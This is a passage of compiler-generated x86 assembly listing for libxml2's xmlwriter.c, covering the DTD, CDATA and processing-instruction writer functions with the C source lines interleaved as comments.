$LN27@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN35@xmlTextWri:
DD $LN11@xmlTextWri
DD $LN9@xmlTextWri
DD $LN14@xmlTextWri
DD $LN14@xmlTextWri
DD $LN15@xmlTextWri
DD $LN15@xmlTextWri
DD $LN16@xmlTextWri
DD $LN16@xmlTextWri
DD $LN16@xmlTextWri
DD $LN17@xmlTextWri
_xmlTextWriterEndDTD ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartDTD
_TEXT SEGMENT
tv451 = 8 ; size = 4
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_pubid$ = 16 ; size = 4
_sysid$ = 20 ; size = 4
_xmlTextWriterStartDTD PROC ; COMDAT
; 2832 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN3@xmlTextWri
; 2833 : int count;
; 2834 : int sum;
; 2835 : xmlLinkPtr lk;
; 2836 : xmlTextWriterStackEntry *p;
; 2837 :
; 2838 : if (writer == NULL || name == NULL || *name == '\0')
mov ebx, DWORD PTR _name$[ebp]
test ebx, ebx
je SHORT $LN3@xmlTextWri
cmp BYTE PTR [ebx], 0
je SHORT $LN3@xmlTextWri
; 2839 : return -1;
; 2840 :
; 2841 : sum = 0;
; 2842 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 2843 : if ((lk != NULL) && (xmlLinkGetData(lk) != NULL)) {
test eax, eax
je SHORT $LN4@xmlTextWri
push eax
call _xmlLinkGetData
add esp, 4
test eax, eax
je SHORT $LN4@xmlTextWri
; 2844 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0DF@KCNCPLNC@xmlTextWriterStartDTD?5?3?5DTD?5all@
; 2955 : }
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
$LN3@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN4@xmlTextWri:
; 2845 : "xmlTextWriterStartDTD : DTD allowed only in prolog!\n");
; 2846 : return -1;
; 2847 : }
; 2848 :
; 2849 : p = (xmlTextWriterStackEntry *)
push 8
call DWORD PTR _xmlMalloc
mov edi, eax
add esp, 4
; 2850 : xmlMalloc(sizeof(xmlTextWriterStackEntry));
; 2851 : if (p == 0) {
test edi, edi
jne SHORT $LN5@xmlTextWri
; 2852 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CI@CDIDIABN@xmlTextWriterStartDTD?5?3?5out?5of?5@
push 2
; 2955 : }
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN5@xmlTextWri:
; 2853 : "xmlTextWriterStartDTD : out of memory!\n");
; 2854 : return -1;
; 2855 : }
; 2856 :
; 2857 : p->name = xmlStrdup(name);
push ebx
call _xmlStrdup
add esp, 4
mov DWORD PTR [edi], eax
; 2858 : if (p->name == 0) {
test eax, eax
jne SHORT $LN6@xmlTextWri
; 2859 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CI@CDIDIABN@xmlTextWriterStartDTD?5?3?5out?5of?5@
push 2
push esi
call _xmlWriterErrMsg
; 2860 : "xmlTextWriterStartDTD : out of memory!\n");
; 2861 : xmlFree(p);
push edi
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 2955 : }
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN6@xmlTextWri:
; 2862 : return -1;
; 2863 : }
; 2864 : p->state = XML_TEXTWRITER_DTD;
mov DWORD PTR [edi+4], 7
; 2865 :
; 2866 : xmlListPushFront(writer->nodes, p);
push edi
push DWORD PTR [esi+4]
call _xmlListPushFront
; 2867 :
; 2868 : count = xmlOutputBufferWriteString(writer->out, "<!DOCTYPE ");
push OFFSET ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
mov edi, eax
add esp, 16 ; 00000010H
; 2869 : if (count < 0)
test edi, edi
js $LN3@xmlTextWri
; 2870 : return -1;
; 2871 : sum += count;
; 2872 : count = xmlOutputBufferWriteString(writer->out, (const char *) name);
push ebx
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 2873 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
; 2874 : return -1;
; 2875 : sum += count;
; 2876 :
; 2877 : if (pubid != 0) {
mov ebx, DWORD PTR _pubid$[ebp]
add edi, eax
mov eax, DWORD PTR _sysid$[ebp]
mov edx, OFFSET ??_C@_01CLKCMJKC@?5@
mov ecx, OFFSET ??_C@_01EEMJAFIK@?6@
test ebx, ebx
je $LN9@xmlTextWri
; 2878 : if (sysid == 0) {
test eax, eax
jne SHORT $LN10@xmlTextWri
; 2879 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0DD@KKKOOJH@xmlTextWriterStartDTD?5?3?5system?5@
; 2955 : }
push 1
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN10@xmlTextWri:
; 2880 : "xmlTextWriterStartDTD : system identifier needed!\n");
; 2881 : return -1;
; 2882 : }
; 2883 :
; 2884 : if (writer->indent)
; 2885 : count = xmlOutputBufferWrite(writer->out, 1, "\n");
; 2886 : else
; 2887 : count = xmlOutputBufferWrite(writer->out, 1, " ");
; 2888 : if (count < 0)
cmp DWORD PTR [esi+16], 0
mov eax, edx
cmovne eax, ecx
push eax
push 1
push DWORD PTR [esi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
mov DWORD PTR tv451[ebp], eax
test eax, eax
js $LN3@xmlTextWri
; 2889 : return -1;
; 2890 : sum += count;
; 2891 :
; 2892 : count = xmlOutputBufferWriteString(writer->out, "PUBLIC ");
push OFFSET ??_C@_07GAMBALOD@PUBLIC?5@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 2893 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
; 2894 : return -1;
; 2895 : sum += count;
add eax, DWORD PTR tv451[ebp]
add edi, eax
; 2896 :
; 2897 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea eax, DWORD PTR [esi+28]
push eax
push 1
push DWORD PTR [esi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 2898 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
; 2899 : return -1;
; 2900 : sum += count;
; 2901 :
; 2902 : count =
push ebx
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 2903 : xmlOutputBufferWriteString(writer->out, (const char *) pubid);
; 2904 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
; 2905 : return -1;
; 2906 : sum += count;
add edi, eax
; 2907 :
; 2908 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea eax, DWORD PTR [esi+28]
push eax
push 1
push DWORD PTR [esi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 2909 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
; 2910 : return -1;
; 2911 : sum += count;
add edi, eax
mov edx, OFFSET ??_C@_01CLKCMJKC@?5@
mov eax, DWORD PTR _sysid$[ebp]
$LN9@xmlTextWri:
; 2912 : }
; 2913 :
; 2914 : if (sysid != 0) {
test eax, eax
je $LN18@xmlTextWri
; 2915 : if (pubid == 0) {
mov ecx, DWORD PTR [esi+16]
mov eax, DWORD PTR [esi]
test ebx, ebx
jne SHORT $LN19@xmlTextWri
; 2916 : if (writer->indent)
; 2917 : count = xmlOutputBufferWrite(writer->out, 1, "\n");
; 2918 : else
; 2919 : count = xmlOutputBufferWrite(writer->out, 1, " ");
; 2920 : if (count < 0)
test ecx, ecx
mov ecx, OFFSET ??_C@_01EEMJAFIK@?6@
cmovne edx, ecx
push edx
push 1
push eax
call _xmlOutputBufferWrite
mov ebx, eax
add esp, 12 ; 0000000cH
test ebx, ebx
js $LN3@xmlTextWri
; 2921 : return -1;
; 2922 : sum += count;
; 2923 : count = xmlOutputBufferWriteString(writer->out, "SYSTEM ");
push OFFSET ??_C@_07PBLMPJLL@SYSTEM?5@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 2924 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
; 2925 : return -1;
; 2926 : sum += count;
add eax, ebx
; 2927 : } else {
jmp SHORT $LN20@xmlTextWri
$LN19@xmlTextWri:
; 2928 : if (writer->indent)
test ecx, ecx
je SHORT $LN25@xmlTextWri
; 2929 : count = xmlOutputBufferWriteString(writer->out, "\n ");
push OFFSET ??_C@_08HBIFNNEL@?6?5?5?5?5?5?5?5@
push eax
call _xmlOutputBufferWriteString
add esp, 8
jmp SHORT $LN26@xmlTextWri
$LN25@xmlTextWri:
; 2930 : else
; 2931 : count = xmlOutputBufferWrite(writer->out, 1, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push 1
push eax
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN26@xmlTextWri:
; 2932 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
$LN20@xmlTextWri:
; 2933 : return -1;
; 2934 : sum += count;
; 2935 : }
; 2936 :
; 2937 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
lea ebx, DWORD PTR [esi+28]
add edi, eax
push ebx
push 1
push DWORD PTR [esi]
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 2938 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
; 2939 : return -1;
; 2940 : sum += count;
; 2941 :
; 2942 : count =
push DWORD PTR _sysid$[ebp]
add edi, eax
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 2943 : xmlOutputBufferWriteString(writer->out, (const char *) sysid);
; 2944 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
; 2945 : return -1;
; 2946 : sum += count;
; 2947 :
; 2948 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar);
push ebx
push 1
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 2949 : if (count < 0)
test eax, eax
js $LN3@xmlTextWri
; 2950 : return -1;
; 2951 : sum += count;
add edi, eax
$LN18@xmlTextWri:
; 2952 : }
; 2953 :
; 2954 : return sum;
mov eax, edi
pop edi
; 2955 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlTextWriterStartDTD ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteCDATA
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_content$ = 12 ; size = 4
_xmlTextWriterWriteCDATA PROC ; COMDAT
; 2794 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _writer$[ebp]
push edi
call _xmlTextWriterStartCDATA
mov esi, eax
add esp, 4
cmp esi, -1
je SHORT $LN7@xmlTextWri
; 2795 : int count;
; 2796 : int sum;
; 2797 :
; 2798 : sum = 0;
; 2799 : count = xmlTextWriterStartCDATA(writer);
; 2800 : if (count == -1)
; 2801 : return -1;
; 2802 : sum += count;
; 2803 : if (content != 0) {
mov eax, DWORD PTR _content$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
; 2804 : count = xmlTextWriterWriteString(writer, content);
push eax
push edi
call _xmlTextWriterWriteString
add esp, 8
; 2805 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 2806 : return -1;
; 2807 : sum += count;
add esi, eax
$LN3@xmlTextWri:
; 2808 : }
; 2809 : count = xmlTextWriterEndCDATA(writer);
push edi
call _xmlTextWriterEndCDATA
add esp, 4
; 2810 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 2812 : sum += count;
pop edi
add eax, esi
; 2813 :
; 2814 : return sum;
; 2815 : }
pop esi
pop ebp
ret 0
$LN7@xmlTextWri:
pop edi
; 2811 : return -1;
or eax, -1
; 2813 :
; 2814 : return sum;
; 2815 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteCDATA ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatCDATA
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_format$ = 12 ; size = 4
_argptr$ = 16 ; size = 4
_xmlTextWriterWriteVFormatCDATA PROC ; COMDAT
; 2766 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 2767 : int rc;
; 2768 : xmlChar *buf;
; 2769 :
; 2770 : if (writer == NULL)
; 2771 : return -1;
; 2772 :
; 2773 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2774 : if (buf == NULL)
test edi, edi
je SHORT $LN5@xmlTextWri
; 2776 :
; 2777 : rc = xmlTextWriterWriteCDATA(writer, buf);
push edi
push esi
call _xmlTextWriterWriteCDATA
; 2778 :
; 2779 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 12 ; 0000000cH
; 2780 : return rc;
mov eax, esi
pop edi
; 2781 : }
pop esi
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
; 2775 : return -1;
or eax, -1
; 2781 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatCDATA ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatCDATA
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_format$ = 12 ; size = 4
_xmlTextWriterWriteFormatCDATA PROC ; COMDAT
; 2741 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 2770 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 2742 : int rc;
; 2743 : va_list ap;
; 2744 :
; 2745 : va_start(ap, format);
; 2746 :
; 2747 : rc = xmlTextWriterWriteVFormatCDATA(writer, format, ap);
; 2748 :
; 2749 : va_end(ap);
; 2750 : return rc;
or eax, -1
pop esi
; 2751 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 2773 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2774 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 2742 : int rc;
; 2743 : va_list ap;
; 2744 :
; 2745 : va_start(ap, format);
; 2746 :
; 2747 : rc = xmlTextWriterWriteVFormatCDATA(writer, format, ap);
; 2748 :
; 2749 : va_end(ap);
; 2750 : return rc;
pop edi
or eax, -1
pop esi
; 2751 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 2777 : rc = xmlTextWriterWriteCDATA(writer, buf);
push edi
push esi
call _xmlTextWriterWriteCDATA
; 2778 :
; 2779 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 12 ; 0000000cH
; 2742 : int rc;
; 2743 : va_list ap;
; 2744 :
; 2745 : va_start(ap, format);
; 2746 :
; 2747 : rc = xmlTextWriterWriteVFormatCDATA(writer, format, ap);
; 2748 :
; 2749 : va_end(ap);
; 2750 : return rc;
mov eax, esi
pop edi
pop esi
; 2751 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatCDATA ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterEndCDATA
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterEndCDATA PROC ; COMDAT
; 2695 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN11@xmlTextWri
; 2696 : int count;
; 2697 : int sum;
; 2698 : xmlLinkPtr lk;
; 2699 : xmlTextWriterStackEntry *p;
; 2700 :
; 2701 : if (writer == NULL)
; 2702 : return -1;
; 2703 :
; 2704 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 2705 : if (lk == 0)
test eax, eax
je SHORT $LN11@xmlTextWri
; 2706 : return -1;
; 2707 :
; 2708 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
add esp, 4
; 2709 : if (p == 0)
test eax, eax
je SHORT $LN11@xmlTextWri
; 2710 : return -1;
; 2711 :
; 2712 : sum = 0;
; 2713 : switch (p->state) {
cmp DWORD PTR [eax+4], 6
jne SHORT $LN11@xmlTextWri
; 2714 : case XML_TEXTWRITER_CDATA:
; 2715 : count = xmlOutputBufferWriteString(writer->out, "]]>");
push OFFSET ??_C@_03MCHNFBAC@?$FN?$FN?$DO@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
mov edi, eax
add esp, 8
; 2716 : if (count < 0)
test edi, edi
js SHORT $LN11@xmlTextWri
; 2718 : sum += count;
; 2719 : break;
; 2720 : default:
; 2721 : return -1;
; 2722 : }
; 2723 :
; 2724 : xmlListPopFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListPopFront
add esp, 4
; 2725 : return sum;
mov eax, edi
pop edi
; 2726 : }
pop esi
pop ebp
ret 0
$LN11@xmlTextWri:
pop edi
; 2717 : return -1;
or eax, -1
; 2726 : }
pop esi
pop ebp
ret 0
_xmlTextWriterEndCDATA ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartCDATA
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterStartCDATA PROC ; COMDAT
; 2616 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je $LN18@xmlTextWri
; 2617 : int count;
; 2618 : int sum;
; 2619 : xmlLinkPtr lk;
; 2620 : xmlTextWriterStackEntry *p;
; 2621 :
; 2622 : if (writer == NULL)
; 2623 : return -1;
; 2624 :
; 2625 : sum = 0;
push DWORD PTR [esi+4]
xor edi, edi
; 2626 : lk = xmlListFront(writer->nodes);
call _xmlListFront
add esp, 4
; 2627 : if (lk != 0) {
test eax, eax
je SHORT $LN2@xmlTextWri
; 2628 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov ebx, eax
add esp, 4
; 2629 : if (p != 0) {
test ebx, ebx
je SHORT $LN2@xmlTextWri
; 2630 : switch (p->state) {
mov eax, DWORD PTR [ebx+4]
cmp eax, 6
ja SHORT $LN18@xmlTextWri
jmp DWORD PTR $LN21@xmlTextWri[eax*4]
$LN8@xmlTextWri:
; 2631 : case XML_TEXTWRITER_NONE:
; 2632 : case XML_TEXTWRITER_TEXT:
; 2633 : case XML_TEXTWRITER_PI:
; 2634 : case XML_TEXTWRITER_PI_TEXT:
; 2635 : break;
; 2636 : case XML_TEXTWRITER_ATTRIBUTE:
; 2637 : count = xmlTextWriterEndAttribute(writer);
push esi
call _xmlTextWriterEndAttribute
mov edi, eax
add esp, 4
; 2638 : if (count < 0)
test edi, edi
js SHORT $LN18@xmlTextWri
$LN10@xmlTextWri:
; 2639 : return -1;
; 2640 : sum += count;
; 2641 : /* fallthrough */
; 2642 : case XML_TEXTWRITER_NAME:
; 2643 : /* Output namespace declarations */
; 2644 : count = xmlTextWriterOutputNSDecl(writer);
push esi
call _xmlTextWriterOutputNSDecl
add esp, 4
; 2645 : if (count < 0)
test eax, eax
js SHORT $LN18@xmlTextWri
; 2646 : return -1;
; 2647 : sum += count;
; 2648 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 2649 : if (count < 0)
test eax, eax
js SHORT $LN18@xmlTextWri
; 2650 : return -1;
; 2651 : sum += count;
add edi, eax
; 2652 : p->state = XML_TEXTWRITER_TEXT;
mov DWORD PTR [ebx+4], 3
$LN2@xmlTextWri:
; 2656 : "xmlTextWriterStartCDATA : CDATA not allowed in this context!\n");
; 2657 : return -1;
; 2658 : default:
; 2659 : return -1;
; 2660 : }
; 2661 : }
; 2662 : }
; 2663 :
; 2664 : p = (xmlTextWriterStackEntry *)
push 8
call DWORD PTR _xmlMalloc
add esp, 4
; 2665 : xmlMalloc(sizeof(xmlTextWriterStackEntry));
; 2666 : if (p == 0) {
test eax, eax
jne SHORT $LN15@xmlTextWri
; 2667 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
push OFFSET ??_C@_0CK@FMBLGDPB@xmlTextWriterStartCDATA?5?3?5out?5o@
push 2
; 2681 :
; 2682 : return sum;
; 2683 : }
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
$LN18@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN13@xmlTextWri:
; 2653 : break;
; 2654 : case XML_TEXTWRITER_CDATA:
; 2655 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR,
push OFFSET ??_C@_0DO@LGFOPFHE@xmlTextWriterStartCDATA?5?3?5CDATA@
push 1
; 2681 :
; 2682 : return sum;
; 2683 : }
push esi
call _xmlWriterErrMsg
add esp, 12 ; 0000000cH
or eax, -1
pop edi
pop esi
pop ebx
pop ebp
ret 0
$LN15@xmlTextWri:
; 2668 : "xmlTextWriterStartCDATA : out of memory!\n");
; 2669 : return -1;
; 2670 : }
; 2671 :
; 2672 : p->name = NULL;
; 2673 : p->state = XML_TEXTWRITER_CDATA;
; 2674 :
; 2675 : xmlListPushFront(writer->nodes, p);
push eax
mov DWORD PTR [eax], 0
mov DWORD PTR [eax+4], 6
push DWORD PTR [esi+4]
call _xmlListPushFront
; 2676 :
; 2677 : count = xmlOutputBufferWriteString(writer->out, "<![CDATA[");
push OFFSET ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 16 ; 00000010H
; 2678 : if (count < 0)
test eax, eax
js SHORT $LN18@xmlTextWri
; 2679 : return -1;
; 2680 : sum += count;
add eax, edi
pop edi
; 2681 :
; 2682 : return sum;
; 2683 : }
pop esi
pop ebx
pop ebp
ret 0
npad 1
$LN21@xmlTextWri:
DD $LN2@xmlTextWri
DD $LN10@xmlTextWri
DD $LN8@xmlTextWri
DD $LN2@xmlTextWri
DD $LN2@xmlTextWri
DD $LN2@xmlTextWri
DD $LN13@xmlTextWri
_xmlTextWriterStartCDATA ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWritePI
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_target$ = 12 ; size = 4
_content$ = 16 ; size = 4
_xmlTextWriterWritePI PROC ; COMDAT
; 2583 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _target$[ebp]
mov edi, DWORD PTR _writer$[ebp]
push edi
call _xmlTextWriterStartPI
mov esi, eax
add esp, 8
cmp esi, -1
je SHORT $LN7@xmlTextWri
; 2584 : int count;
; 2585 : int sum;
; 2586 :
; 2587 : sum = 0;
; 2588 : count = xmlTextWriterStartPI(writer, target);
; 2589 : if (count == -1)
; 2590 : return -1;
; 2591 : sum += count;
; 2592 : if (content != 0) {
mov eax, DWORD PTR _content$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
; 2593 : count = xmlTextWriterWriteString(writer, content);
push eax
push edi
call _xmlTextWriterWriteString
add esp, 8
; 2594 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 2595 : return -1;
; 2596 : sum += count;
add esi, eax
$LN3@xmlTextWri:
; 2597 : }
; 2598 : count = xmlTextWriterEndPI(writer);
push edi
call _xmlTextWriterEndPI
add esp, 4
; 2599 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 2601 : sum += count;
pop edi
add eax, esi
; 2602 :
; 2603 : return sum;
; 2604 : }
pop esi
pop ebp
ret 0
$LN7@xmlTextWri:
pop edi
; 2600 : return -1;
or eax, -1
; 2602 :
; 2603 : return sum;
; 2604 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWritePI ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatPI
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_target$ = 12 ; size = 4
_format$ = 16 ; size = 4
_argptr$ = 20 ; size = 4
_xmlTextWriterWriteVFormatPI PROC ; COMDAT
; 2553 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 2554 : int rc;
; 2555 : xmlChar *buf;
; 2556 :
; 2557 : if (writer == NULL)
; 2558 : return -1;
; 2559 :
; 2560 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2561 : if (buf == NULL)
test edi, edi
je SHORT $LN5@xmlTextWri
; 2563 :
; 2564 : rc = xmlTextWriterWritePI(writer, target, buf);
push edi
push DWORD PTR _target$[ebp]
push esi
call _xmlTextWriterWritePI
; 2565 :
; 2566 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 2567 : return rc;
mov eax, esi
pop edi
; 2568 : }
pop esi
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
; 2562 : return -1;
or eax, -1
; 2568 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatPI ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatPI
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_target$ = 12 ; size = 4
_format$ = 16 ; size = 4
_xmlTextWriterWriteFormatPI PROC ; COMDAT
; 2526 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 2557 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 2527 : int rc;
; 2528 : va_list ap;
; 2529 :
; 2530 : va_start(ap, format);
; 2531 :
; 2532 : rc = xmlTextWriterWriteVFormatPI(writer, target, format, ap);
; 2533 :
; 2534 : va_end(ap);
; 2535 : return rc;
or eax, -1
pop esi
; 2536 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 2560 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2561 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 2527 : int rc;
; 2528 : va_list ap;
; 2529 :
; 2530 : va_start(ap, format);
; 2531 :
; 2532 : rc = xmlTextWriterWriteVFormatPI(writer, target, format, ap);
; 2533 :
; 2534 : va_end(ap);
; 2535 : return rc;
pop edi
or eax, -1
pop esi
; 2536 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 2564 : rc = xmlTextWriterWritePI(writer, target, buf);
push edi
push DWORD PTR _target$[ebp]
push esi
call _xmlTextWriterWritePI
; 2565 :
; 2566 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 2527 : int rc;
; 2528 : va_list ap;
; 2529 :
; 2530 : va_start(ap, format);
; 2531 :
; 2532 : rc = xmlTextWriterWriteVFormatPI(writer, target, format, ap);
; 2533 :
; 2534 : va_end(ap);
; 2535 : return rc;
mov eax, esi
pop edi
pop esi
; 2536 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatPI ENDP
